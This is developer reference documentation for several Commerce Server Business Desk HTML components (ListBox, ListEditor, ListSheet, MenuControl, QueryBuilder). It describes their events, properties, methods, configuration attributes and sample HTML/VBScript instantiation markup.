Data is initially specified to populate the ListBox HTC as attribute and data values to DIV elements nested within the DIV element that specifies the 'ListBox' value for the Class attribute. After that, additional data is added and removed from the ListBox HTC using methods provided for that purpose. Unlike the other Commerce Server HTCs, the ListBox HTC does not require any pre-existing XML data-islands to provide configuration information.

This section contains:

  • Events. Describes the events supported by the ListBox HTC.
  • Properties. Describes the properties supported by the ListBox HTC.
  • Methods. Describes the methods supported by the ListBox HTC.
  • Container Attributes. Describes the attributes that the ListBox HTC expects to be set on the element in which it is contained.
  • Initial Data Population. Describes how the data used to initially populate the ListBox HTC is provided.
  • Instantiation Example. Demonstrates how the ListBox HTC is instantiated in script on an Active Server Pages (ASP) page.


Events

The ListBox HTC supports the following events:

  • OnChange
  • OnSelect
  • OnSelectAll
  • OnUnselect
  • OnUnselectAll

OnChange

The OnChange event fires when one or more items is added to, or removed from, the list.

There are no event object properties associated with this event.

Return to top

OnSelect

The OnSelect event fires when one or more items are selected.

There are no event object properties associated with this event.

Return to top

OnSelectAll

The OnSelectAll event fires when all items are selected via the SelectAll method.

There are no event object properties associated with this event.

Return to top

OnUnselect

The OnUnselect event fires when an item is unselected.

There are no event object properties associated with this event.

Return to top

OnUnselectAll

The OnUnselectAll event fires when all items are unselected via the UnselectAll method.

There are no event object properties associated with this event.

Return to top


Properties

The ListBox HTC supports the following properties:

  • disabled
  • selected
  • text
  • value

disabled

The disabled property returns True when the ListBox HTC has been disabled, and False otherwise. While disabled, the ListBox HTC will be dimmed and removed from the tab order.

This property is read/write.

Return to top

selected

The selected property returns the selected HTML element.

When in multi-select mode, this property returns a single HTML element, even if multiple elements are selected. It returns either the first or the last selected item in the list. Therefore, you should not rely on this property when in multi-select mode.

This property is read-only.

Return to top

text

The text property returns the display name associated with the currently selected item.

When in multi-select mode, this property returns a single display name, even if multiple items are selected. It returns the display name of either the first or the last selected item in the list. Therefore, you should not rely on this property when in multi-select mode.

This property is read/write.

Return to top

value

The value property returns the value associated with the currently selected item, represented as a string. When in multi-select mode, this property returns the value associated with either the last selected item or the first selected item from the list.

This property is read/write.

Return to top


Methods

The ListBox HTC supports the following methods:

  • add
  • addItem
  • movedown
  • moveup
  • remove
  • select
  • SelectAll
  • unselect
  • UnselectAll

add(xmlNodes)

The add method adds one or more items to the list, based on the data contained in the xmlNodes object passed via the required xmlNodes parameter. This xmlNodes object must have the same format as that returned by the remove method. Beyond that, no other format assumptions should be made.

This method does not return any value.

This method is most useful when moving one or more items from one ListBox HTC to another ListBox HTC.

Return to top

addItem(sValue, sText)

The addItem method adds a single item to the list based on the values of the required parameters sValue and sText. The sValue parameter specifies the value associated with the new item, and the sText parameter specifies the display name of the new item.

This method does not return any value.

Return to top

movedown

The movedown method moves the selected item to the next lower position in the list.

When in multi-select mode, this property moves a single selected item down one position, even if multiple items are selected. It moves either the first or the last selected item in the list. Therefore, you should not rely on this method when in multi-select mode.

This method does not return any value.

Return to top

moveup

The moveup method moves the selected item to the next higher position in the list.

When in multi-select mode, this property moves a single selected item up one position, even if multiple items are selected. It moves either the first or the last selected item in the list. Therefore, you should not rely on this method when in multi-select mode.

This method does not return any value.

Return to top

remove

The remove method removes all selected items from the list and returns those items in XML representation. The returned xmlNodes object has the same format as that required by the add method. Beyond that, no other format assumptions should be made.

This method is most useful when moving one or more items from one ListBox HTC to another ListBox HTC.

Example: set xmlNodes = elListBox.remove

Return to top

select(sValue)

The select method selects the first item found that has a value equal to the required sValue parameter. If nothing is found, nothing is selected (this is not considered an error, so no error is returned).

This method does not return any value.

Return to top

SelectAll

The SelectAll method selects all of the items in the list. It does not take any parameters or return any value.

Return to top

unselect(sValue)

The unselect method unselects the first item found that has a value equal to the required sValue parameter. If nothing is found, nothing is unselected (this is not considered an error, so no error is returned).

This method does not return any value.

Return to top

UnselectAll

The UnselectAll method unselects all of the items in the list. It does not take any parameters or return any value.

Return to top


Container Attributes

Unlike most of the other Commerce Server HTCs, the ListBox HTC does not use Extensible Markup Language (XML) data-islands, specified using container attributes, for its data and configuration information. Instead, it uses a container attribute and an additional Class attribute value for some simple configuration, as follows:

selection
The value of this attribute specifies whether the ListBox HTC will allow single selection or multiple selection. Legal values are 'single' and 'multi'. The default is single selection.
lbDisabled
Specifying this Class attribute value, in addition to the 'ListBox' Class attribute value, causes the ListBox HTC to initially be displayed as disabled.


Initial Data Population

The ListBox HTC allows its initial set of data to be specified using DIV elements, one per item, that are nested within the DIV element that specifies the ListBox HTC itself. These inner DIV elements must include a VALUE attribute, the value of which specifies the value to be associated with the list item. They must also include data, which provides the string to be displayed for the item in the ListBox HTC. The following example shows this DIV element structure:

  <DIV Class='ListBox'   . . . >
      <DIV VALUE='value1'>display value 1</DIV>
      <DIV VALUE='value2'>display value 2</DIV>
      . . .
      <DIV VALUE='valueN'>display value N</DIV>
  </DIV>


Instantiation Example

The following HTML code shows a typical instantiation of a ListBox HTC within a DIV element. The first Class attribute value specifies that the ListBox behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the ListBox HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The nested DIV elements specify the initial list box data. The second Class attribute value and the Selection attribute specify that the list box should be initially disabled, and allow multiple selection, respectively. The Language attribute specifies that the ListBox HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the ListBox HTC.

  <DIV Class='ListBox lbDisabled'
       Language='VBScript'
       Selection='multi'
       OnChange='ChangeHandler()'
       OnSelect='SelectHandler()'
       OnSelectAll='SelectAllHandler()'
       OnUnselect='UnselectHandler()'
       OnUnselectAll='UnselectAllHandler()'>
         <DIV VALUE='value1'>display value 1</DIV>
         <DIV VALUE='value2'>display value 2</DIV>
         . . .
         <DIV VALUE='valueN'>display value N</DIV>
  </DIV>


ListEditor

The ListEditor HTML component (HTC) displays a table of data, known as the list area, where each row represents a record and each column represents a particular field from the record. The list area table can be configured to allow paging and sorting. Below this table is another table, known as the edit area, which displays and allows editing of the record selected in the first table. This second table has two columns. The first column contains field names and the second column contains the field data itself, displayed within the appropriate embedded EditField HTC.

Data is passed to the ListEditor HTC in the form of Extensible Markup Language (XML) data-islands. This includes the configuration data that provides, for example, the display names for columns in the list area, and various characteristics of the fields displayed in the edit area. It also includes the data itself, contained in a different XML data-island. Configuration data varies from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs, including the ListEditor HTC, accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

Unlike the DynamicTable HTC, the ListEditor HTC can be configured to allow the editing of data that is not displayed in the columns of the list table. Like the DynamicTable HTC, the ListEditor HTC returns its result as an XML list document.

This section contains:

  • Events. Describes the events supported by the ListEditor HTC.
  • Properties. Describes the properties supported by the ListEditor HTC.
  • Methods. Describes the methods supported by the ListEditor HTC.
  • Container Attributes. Describes the attributes that the ListEditor HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the ListEditor HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the ListEditor HTC is instantiated in script on an Active Server Pages (ASP) page.


Events

The ListEditor HTC supports the following events:

  • OnCancel
  • OnChange
  • OnEdit
  • OnError
  • OnHeaderClick
  • OnNew
  • OnNewPage
  • OnValid

OnCancel

The OnCancel event fires when the user clicks the Cancel button or cancels the selection of a row in the list table.

Return to top

OnChange

The OnChange event fires when the user clicks either the Done button or the Remove button.

The event object property window.event.XMLList is a standard XMLList object hierarchy, including the state attribute in the record elements. For more information, see XMLList and XMLRecord Properties.

The event object property window.event.recordNumber contains a positive integer indicating the relative position of the last record changed (starting from zero).

Return to top

OnEdit

The OnEdit event fires when a user clicks a row to edit it and the associated values have been placed into the fields in the edit area.

The event object property window.event.recordNumber contains a positive integer indicating the relative position of the record being edited (starting from zero).

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy corresponding to the row being edited. For more information, see XMLList and XMLRecord Properties.

Return to top

OnError

The OnError event fires when the ListEditor HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur if you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnHeaderClick

The OnHeaderClick event fires when one of the column headings is clicked, allowing a sorting routine to be invoked. This event will not fire if sorting has been disabled (by setting the sort attribute to "no" in the metadata).

Two event object properties are set when the event is fired. The window.event.sortcol property contains a string that is set to the value of the id attribute of the (columns) column element corresponding to the heading that was clicked.

Note

  • When using the XMLHTTP sort operation there is no need to trap this event because sort runs automatically.

The event object property window.event.sortdir contains one of the two strings 'asc' or 'desc', indicating the new sorting direction (ascending or descending, respectively).

Return to top

OnNew

The OnNew event fires when the user clicks the New button and the fields in the edit area have been cleared.

The event object property window.event.recordNumber contains the value –1 to indicate that a new record is being added. New records are always added to the end of the list.

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy consisting of a new and empty record element. For more information, see XMLList and XMLRecord Properties.

Return to top

OnNewPage

The OnNewPage event fires when one of the page navigation buttons is clicked (First, Previous, Next, and Last), or when the page number is explicitly changed.

Note

  • When using the XMLHTTP page operation there is no need to trap this event because the page operation runs automatically.

The event object property window.event.page contains a positive integer that indicates the new page to be displayed. Page numbers start at one, not zero.

Return to top

OnValid

The OnValid event fires whenever the user starts editing a row and again when editing is complete.

The event object property window.event.valid is set to False when the event is fired because a row is being edited. When editing is complete (when either the Cancel or Accept button is clicked), the value is set to True.

This assures that the HTC cannot be saved when the user is in the middle of an edit.

Return to top


Properties

The ListEditor HTC supports the following properties:

  • dirty
  • page
  • recordcount
  • XMLList

dirty

The dirty property returns True if a row has been added, deleted, or edited, and False otherwise.

This property is read-only.

Return to top

page

The page property reads and writes the page number that is displayed in the page controls.

Writing a new page property does not fire the OnNewPage event, or do anything with regard to retrieving the data associated with the new page.

This property is read/write.

Return to top

recordcount

The recordcount property reads and writes the current number of records, and when written, the ListSheet HTC recalculates the page controls.

Setting this property to –1 causes the Last button to be disabled, and indicates that the number of records is not known.

Setting this property to 0 (zero) or any number less than or equal to the page size causes the page controls to be hidden.

This property is read/write.

Return to top

XMLList

The XMLList property is a standard XMLList object hierarchy, containing the list currently in use by the HTC, and including the state attribute in the record elements. For more information, see XMLList and XMLRecord Properties.

This property is read-only.

Return to top


Methods

The ListEditor HTC supports the following method:

field(sFieldId)

The field method retrieves a particular field element being used by the ListEditor HTC. The field is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

The returned HTMLElement has an attached EditField HTC. If the parameter does not match any of the id attributes, NULL is returned.

The returned HTMLElement allows access to any of the properties or methods of the EditField HTC.

Example: set elEditField = elListEditor.field(sFieldId)


Container Attributes

In order to pass data to the ListEditor HTC, the following attributes must be set on the element that is using the ListEditor behavior (this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the data to be displayed.
MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the DynamicTable HTC.


Configuration Data

The ListEditor HTC requires that its configuration information be passed to it in the form of an Extensible Markup Language (XML) data-island. This information consists of details about each column and row to be displayed in the list area and the edit area, respectively. For example, the type of the data in the column or row, minimum and maximum values for validation purposes, and the element name used for the corresponding data in the DataXML data-island.

For detailed information about the structure of this XML data-island, see ListEditor Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a ListEditor HTC within a DIV element. The Class attribute specifies that the ListEditor behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the ListEditor HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and configuration data-islands that are defined elsewhere within the document. The Language attribute specifies that the ListEditor HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the ListEditor HTC.

Finally, temporary text is provided to inform the user that the ListEditor HTC is loading.

  <DIV Id='myListEditor'
       Class='ListEditor'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       OnCancel=CancelHandler()'
       OnChange=ChangeHandler()'
       OnEdit='EditHandler()'
       OnError='ErrorHandler()'
       OnHeaderClick='HeaderClickHandler()'
       OnNewPage='NewPageHandler()'
       OnNew='NewHandler()'
       OnValid='ValidHandler()'
  >Loading ListEditor, please wait...</DIV>


ListSheet

The ListSheet HTML component (HTC) is the primary control for presenting data on a list page, and is used mainly to present data for viewing and selection. It displays data in a configurable, tabular format that allows paging and sorting. It can be configured to allow multiple selection, or it can be limited to a single selection.

In most of the available modes, data is presented in a hierarchical manner, allowing details to be shown or hidden by clicking in the row containing the higher-level information. When the arrow is pointing to the right, the details are hidden; when the arrow is pointing down, the details are shown.

Data is passed to the ListSheet HTC in the form of Extensible Markup Language (XML) data-islands. This includes the configuration data that provides, for example, the display names for data columns. It also includes the data itself, contained in a different XML data-island. Configuration data varies from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs, including the ListSheet HTC, accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

This section contains:

  • Modes of Operation. Describes the different modes in which the ListSheet HTC can be used.
  • Events. Describes the events supported by the ListSheet HTC.
  • Properties. Describes the properties supported by the ListSheet HTC.
  • Methods. Describes the methods supported by the ListSheet HTC.
  • Container Attributes. Describes the attributes that the ListSheet HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the ListSheet HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the ListSheet HTC is instantiated in script on an Active Server Pages (ASP) page.


Modes of Operation

There are five distinct modes in which the ListSheet HTC can be configured, based on settings in the configuration data XML data-island. These five modes can be classified as belonging to one of three basic types: flat lists, homogeneous grouped lists, and heterogeneous grouped lists. The five modes are:

  • Flat List
  • Two-Level Homogeneous Grouped List
  • Three-Level Homogeneous Grouped List
  • List-Style Heterogeneous Grouped List
  • Properties-Style Heterogeneous Grouped List

Flat List

This is the most basic mode of the ListSheet HTC. The data is presented as a simple table with no expand/collapse capabilities. The id2 and id3 attributes of the column elements are not used. Also, the subobject element within the columns element is not used.

In this mode the ListSheet HTC expects a single-tiered DataXML data-island. Any extra tiers are ignored.

Return to top

Two-Level Homogeneous Grouped List

Two-level homogeneous lists are appropriate when there are two levels of data to display, and the same set of columns (specifically, column headings) can serve for the data at both levels.

Any given column need not contain data for both levels, and can be left blank or otherwise filled in such a way as to indicate that no data is expected in that column for that level of data. Some existing Commerce Server Business Desk modules use the hyphen ('-') character to indicate such a lack of data.

In two-level homogeneous grouped lists, the id2 attribute of the column (child of columns) elements are used to identify detail data in the second tier of records in the DataXML data-island. The subobject element and its embedded column elements are not used.

In this mode the ListSheet HTC expects a two-tiered DataXML data-island. Any extra tiers are ignored.

Return to top

Three-Level Homogeneous Grouped List

Three-level homogeneous lists are appropriate when there are three levels of data to display, and the same set of columns (specifically, column headings) can serve for the data at all three levels.

Any given column need not contain data for all three levels, and can be left blank or otherwise filled in such a way as to indicate that no data is expected in that column for that level of data. Some existing Business Desk modules use the hyphen ('-') character to indicate such a lack of data.

In three-level homogeneous grouped lists, the id2 and id3 attributes of the column (child of columns) elements are used to identify detail data in the second and third tiers of records, respectively, in the DataXML data-island. The subobject element and its embedded column elements are not used.

In this mode the ListSheet HTC expects a three-tiered DataXML data-island. Three is the greatest number of tiers that is supported.

Return to top

List-Style Heterogeneous Grouped List

Heterogeneous lists are appropriate where the data presented in columns in the group rows is different than the detailed data, and the sharing of column headings would not be appropriate. In list-style heterogeneous grouped lists, the detailed data is presented in what appears to be an embedded ListSheet HTC, typically displaying multiple records. Sub-items in a heterogeneous list are not selectable.

The subobject element and its column elements are used to describe the detailed data columns to be displayed. This includes the identity of the detail data to be displayed, which must exist in the second tier of records in the DataXML data-island. The id2 and id3 attributes of the (columns) column element are not used.

In this mode the ListSheet HTC expects a two-tiered DataXML data-island. Any extra tiers are ignored.

Return to top

Properties-Style Heterogeneous Grouped List

Heterogeneous lists are appropriate where the data presented in columns in the group rows is different than the detailed data, and the sharing of column headings would not be appropriate. In properties-style heterogeneous grouped lists, the detailed data is presented in what appears to be an embedded EditSheet HTC, displaying a single record. Sub-items in a heterogeneous list are not selectable.

The subobject element and its column elements are used to describe the detailed data rows to be displayed. This includes the identity of the detail data to be displayed, which must exist in the second tier of records in the DataXML data-island. The id2 and id3 attributes of the (columns) column element are not used.

In this mode the ListSheet HTC expects a two-tiered DataXML data-island. Any extra tiers are ignored.

Return to top


Events

The ListSheet HTC supports the following events:

  • OnAllRowsSelect
  • OnAllRowsUnselect
  • OnContextClick
  • OnDblClick
  • OnError
  • OnGroupOpen
  • OnHeaderClick
  • OnNewPage
  • OnRowSelect
  • OnRowUnselect

OnAllRowsSelect

The OnAllRowsSelect event fires when all rows are selected together using the Select All button.

No event object properties are set for this event.

The firing of this event indicates that all rows have been selected, including those on pages that are not currently being displayed.

Return to top

OnAllRowsUnselect

The OnAllRowsUnselect event fires when all rows are unselected together using the Deselect All button.

No event object properties are set for this event.

The firing of this event indicates that all rows have been unselected, including those on pages that are not currently being displayed.

Return to top

OnContextClick

The OnContextClick event fires when a task is chosen from the right-click context menu.

No event object properties are set for this event.

When a right-click task context menu is enabled for a ListSheet HTC, this event should be set to the utility routine execTaskFromContextMenu that is implemented in the file ActionPageUtil.asp.

Return to top

OnDblClick

The OnDblClick event fires when the user double-clicks on a row in the ListSheet HTC.

No event object properties are set for this event.

When a right-click task context menu is enabled for a ListSheet HTC, this event should be set to the utility routine execDefaultTask that is implemented in the file ActionPageUtil.asp.

Return to top

OnError

The OnError event fires when the ListSheet HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur when you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnGroupOpen

The OnGroupOpen event fires when a group row is opened to display sub-item rows or a sub-object table.

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy corresponding to the opened group row. For more information, see XMLList and XMLRecord Properties.

Return to top

OnHeaderClick

The OnHeaderClick event fires when one of the column headings is clicked, allowing a sorting routine to be invoked. This event will not fire if sorting has been disabled (by setting the sort attribute to "no" in the metadata).

Two event object properties are set when the event is fired. The window.event.sortcol property contains a string that is set to the value of the id attribute of the (columns) column element corresponding to the heading that was clicked.

Note

  • When using the XMLHTTP sort operation there is no need to trap this event because sort runs automatically.

The event object property window.event.sortdir contains one of the two strings 'asc' or 'desc', indicating the new sorting direction (ascending or descending, respectively).

Return to top

OnNewPage

The OnNewPage event fires when one of the page navigation buttons is clicked (First, Previous, Next, and Last), or when the page number is explicitly changed.

Note

  • When using the XMLHTTP page operation there is no need to trap this event because the page operation runs automatically.

The event object property window.event.page contains a positive integer that indicates the new page to be displayed. Page numbers start at one, not zero.

Return to top

OnRowSelect

The OnRowSelect event fires when a row is selected.

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy corresponding to the selected row. For more information, see XMLList and XMLRecord Properties.

Return to top

OnRowUnselect

The OnRowUnselect event fires when a row is unselected.

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy corresponding to the row that has been unselected. For more information, see XMLList and XMLRecord Properties.

Return to top


Properties

The ListSheet HTC supports the following properties:

  • page
  • recordcount
  • XMLList

page

The page property reads and writes the page number that is displayed in the page controls.

Writing a new page property does not fire the OnNewPage event, or do anything with regard to retrieving the data associated with the new page.

This property is read/write.

Return to top

recordcount

The recordcount property reads and writes the current number of records, and when written, the ListSheet HTC recalculates the page controls.

Setting this property to –1 causes the Last button to be disabled, and indicates that the number of records is not known.

Setting this property to 0 (zero) or any number less than or equal to the page size causes the page controls to be hidden.

This property is read/write.

Return to top

XMLList

The XMLList property is a standard XMLList object hierarchy, containing the list currently in use by the HTC. For more information, see XMLList and XMLRecord Properties.

This property is read-only.

Return to top


Methods

The ListSheet HTC supports the following methods:

  • reload
  • selectAllRows
  • unselectAllRows

reload(sOp, sArgs)

The reload method reloads the data into the ListSheet HTC using an operation configured in the MetaXML data-island. This type of operation, known as an XMLHTTP operation, retrieves and displays new data from the server without reloading the current page.

The operation is identified by the required sOp parameter, which specifies the name of a child element of the operations element in the MetaXML data-island. The element name can be one of the pre-defined operations: page, sort, or sublist, or it can be a completely custom operation.

The formid attribute of the matching operation element identifies the form that is posted as a result of this operation. The action attribute of the form specifies the page to which the form is posted.

Since the form will be posted in XML format, response pages should use the utility routine dGetRequestXMLAsDict to retrieve the posted XML as a Dictionary object. In addition, response pages should include the file BDXMLHeader.asp, which sets the response.contentType to 'text/xml' and inserts the processing instruction node to set the XML version and charset.

The sArgs parameter specifies a list of URL-encoded page arguments that are passed to the page being posted. In addition, any child elements of the form are sent with the form posting.

Finally, the pre-defined operations result in certain, pre-defined arguments being included:

  • Page operations: 'op', 'prevpage', 'page', 'column', and 'direction'
  • Sort operations: 'op', 'page', 'column' and 'direction'
  • SubList operation: 'op' and 'xmlrecord'

This method returns False if any error nodes are present in the returned XML, or if nothing is returned. It returns True if a valid XML record list is returned with no error nodes.

Example:

bRetVal = elListSheet.reload("double_sort")

The Sort operation automatically resets the current page number to 1 (one) and will run automatically when a column header is clicked. The Page operation automatically resets the current page number to whatever new page is requested and runs automatically when any of the page controls are clicked or if a new page number is entered into the page number input field. For some custom operations, it may be necessary to set the current page number of the ListSheet HTC to some new value before calling the reload method, based on the nature of the custom operation. The page property of the ListSheet HTC is provided for this purpose. For more information about the page property, see page.

Return to top

selectAllRows

The selectAllRows method selects all rows in the list. It does not take any parameters and does not have any return value.

This method selects all rows, including those on pages not currently being displayed.

Return to top

unselectAllRows

The unselectAllRows method unselects all rows in the list. It does not take any parameters and does not have any return value.

This method unselects all rows, including those on pages not currently being displayed.

Return to top


Container Attributes

In order to pass data to the ListSheet HTC, the following attributes must be set on the element that is using the ListSheet behavior (note that this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the data to be displayed.

Depending on the mode in which the ListSheet HTC is configured to run, this data-island may have one, two, or three tiers of record elements within it.

MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the ListSheet HTC.


Configuration Data

The ListSheet HTC requires that its configuration information be passed to it in the form of an XML data-island. This information consists primarily of details about each column to be displayed. For example, the type of the data in the column, minimum and maximum values for validation purposes, and the element name used for the corresponding data in the DataXML data-island.

For detailed information about the structure of this XML data-island, see ListSheet Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a ListSheet HTC within a DIV element. The Class attribute specifies that the ListSheet behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the ListSheet HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and configuration data-islands that are defined elsewhere within the document. The Language attribute specifies that the ListSheet HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the ListSheet HTC.

Finally, temporary text is provided to inform the user that the ListSheet HTC is loading.

  <DIV Id='myListSheet'
       Class='ListSheet'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       OnAllRowsSelect='AllRowsSelectHandler()'
       OnAllRowsUnselect='AllRowsUnselectHandler()'
       OnContextClick='execTaskFromContextItem()'
       OnDblClick='execDefaultTask()'
       OnError='ErrorHandler()'
       OnHeaderClick='HeaderClickHandler()'
       OnGroupOpen='GroupOpenHandler'
       OnNewPage='NewPageHandler()'
       OnRowSelect='RowSelectHandler()'
       OnRowUnselect='RowUnselectHandler()'
  >Loading ListSheet, please wait...</DIV>


MenuControl

The MenuControl HTML component (HTC) provides users with an easy and intuitive manner in which to control a context menu.

This section contains:

  • Instantiation Example Demonstrates how the MenuControl HTC is instantiated in script on an Active Server Pages (ASP) page.


Instantiation Example

The following is an example of the nested DIV structure used to construct a context menu:

  <DIV ID='mycontextmenu'
       CLASS='bdcontextmenu'
       TABINDEX=0
       STYLE='DISPLAY: none; BEHAVIOR: url(/widgets/listHTC/menucontrol.htc)'
       LANGUAGE=VBScript
       ONCLICK='clickContextMenuItem'
       ONHIGHLIGHT='toggleContextMenuHighlight'
       ONUNHIGHLIGHT='toggleContextMenuHighlight'
       ONCLOSE ='closeContextMenu'>
    <DIV ID='myopen'
         CLASS='bdcontextmenuitem'
         LANGUAGE=VBScript
         ONCONTEXTCLICK='myOpenHandler'>Open
    </DIV>
    <DIV ID='mydelete'
         CLASS='bdcontextmenuitem'
         LANGUAGE=VBScript
         ONCONTEXTCLICK='myDeleteHandler'>Delete
    </DIV>
  </DIV>

The routines myOpenHandler and myDeleteHandler will be run when the user clicks on the corresponding item in the menu.

To attach the above menu to an HTML element on your page simply add the routine showContextMenu to handle the onContext menu event:

  <LABEL ID='mylabel'
         LANGUAGE=VBScript
         ONCONTEXTMENU='showContextMenu'>
         Right-clickable text goes here
  </LABEL>

For more information about working with context menus, see the reference topics for the following routines:

  • clickContextMenuItem (client-side)
  • closeContextMenu (client-side)
  • showContextMenu (client-side)
  • toggleContextMenuHighlight (client-side)


QueryBuilder

The QueryBuilder HTML component (HTC) provides users with an easy and intuitive manner in which to build queries.

Queries are built from one or more clauses combined with logical operators. Clauses are operations or comparisons performed on one or more profiles. The QueryBuilder HTC currently supports a variety of property types and operators. The types and operators supported by the QueryBuilder HTC can be customized as well.

The queries are represented in an Extensible Markup Language (XML) format that can be used as is, or that can be converted (via Extensible Stylesheet Language (XSL) transforms or other methods) to other formats, such as SQL that can be used against an actual database.

This section contains:

  • Events. Describes the events supported by the QueryBuilder HTC.
  • Properties. Describes the properties supported by the QueryBuilder HTC.
  • Methods. Describes the methods supported by the QueryBuilder HTC.
  • Container Attributes. Describes the attributes that the QueryBuilder HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the QueryBuilder HTC via the ID used as the value of the XMLCfgID container attribute.
  • Instantiation Example. Demonstrates how the QueryBuilder HTC is instantiated in script on an ASP page.


Events

The QueryBuilder HTC supports the following events:

  • OnActive
  • OnError
  • OnQueryChange
  • OnReady

OnActive

The OnActive event fires when the QueryBuilder HTC enters the active state as a result of the Activate method being called and successfully run. This event is most useful when the QueryBuilder HTC is being activated as part of the activation of a containing control, which itself cannot be successfully activated unless all of its sub-controls have been successfully activated.

Return to top

OnError

The OnError event fires when activation of the QueryBuilder HTC fails.

Return to top

OnQueryChange

The OnQueryChange event fires when the current query changes, such as when a clause is added, deleted, or modified.

Return to top

OnReady

The OnReady event fires when the QueryBuilder HTC is fully loaded and initialized, indicating that its programmatic interface is ready to use. No properties or methods (including the Activate method) of the QueryBuilder HTC should be called before this event fires.

Return to top


Properties

The QueryBuilder HTC supports the following properties:

  • IsActive
  • IsReady

IsActive

The IsActive property indicates whether the QueryBuilder HTC is currently active. The value of this property is True when the QueryBuilder control is active, that is, when the user can interact with it. The value is False when the control is inactive.

This property is read-only.

Return to top

IsReady

The IsReady property indicates whether the QueryBuilder HTC is ready for programmatic access. The value of this property is False before the OnReady event fires, and True after that event fires. It allows polling to be used to determine whether the control is ready.

This property is read-only.

Return to top


Methods

The QueryBuilder HTC supports the following methods:

  • Activate
  • Deactivate
  • GetExprBody
  • GetExprBodyXML
  • GetProfileList
  • SetExprBody
  • SetExprBodyXML
  • SetExprListXML

Activate(bEdit)

The Activate method activates the QueryBuilder HTC. When the bEdit parameter is True, editing of the displayed query is allowed. If the bEdit parameter is False, editing is not allowed.

This method returns False if a fatal error occurs, and True otherwise.

Return to top

Deactivate

The Deactivate method deactivates the user interface of the QueryBuilder HTC without clearing the current query. It does not take any parameters or return a value.

Return to top

GetExprBody

The GetExprBody method returns a string containing an XML representation of the current query. If there is no current query, it returns NULL.

Return to top

GetExprBodyXML

The GetExprBodyXML method returns an XML DOMDocument object that represents the current query. If there is no current query, it returns nothing.

Return to top

GetProfileList

The GetProfileList method returns a Microsoft Visual Basic Scripting Edition (VBScript) SAFEARRAY containing the names of all of the profiles that are currently loaded in the QueryBuilder HTC. It does not take any parameters.

Return to top

SetExprBody(strExprBody)

The SetExprBody method allows the current query to be set. The only parameter is a string containing XML that specifies the query to be set. It returns True if it can successfully parse the query, and False if the parsing fails.

An empty string or NULL can be passed to clear the current query.

Return to top

SetExprBodyXML(xmlExprBody)

The SetExprBodyXML method allows the current query to be set. The only parameter is an XML DOMDocument object that specifies the query to be set. It returns True if it can successfully parse the query, and False if the parsing fails.

An empty XML DOMDocument object, or the "Nothing" keyword, can be passed to clear the current query.

Return to top

SetExprListXML

The SetExprListXML method allows the caller to provide the QueryBuilder HTC with a list of named expressions from which the QueryBuilder HTC can build other expressions. This method is not likely to be used when the QueryBuilder HTC is being used by itself. Rather, it exists primarily for use by the ExpressionBuilder HTC when it needs to provide the QueryBuilder HTC with a list of named expressions.

Return to top


Container Attributes

In order to pass data to the QueryBuilder HTC, the following attributes must be set on the element that is using the QueryBuilder behavior (this element is typically a DIV):

XMLCfgID
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the configuration information for this instance of the QueryBuilder HTC.
AutoActivate
The value of this attribute controls whether the QueryBuilder HTC automatically activates when loading is complete. Legal values are True and False. A value of True causes auto-activation to occur, and a value of False suppresses auto-activation. The default value is False.

Automatic activation allows editing of the displayed query.


Configuration Data

The QueryBuilder HTC requires that its configuration information be passed to it in the form of an Extensible Markup Language (XML) data-island. This information consists of configuration information that controls the behavior of the QueryBuilder HTC, such as what profiles and site terms are available for use in building queries.

For detailed information about the structure of this XML data-island, see QueryBuilder Configuration.

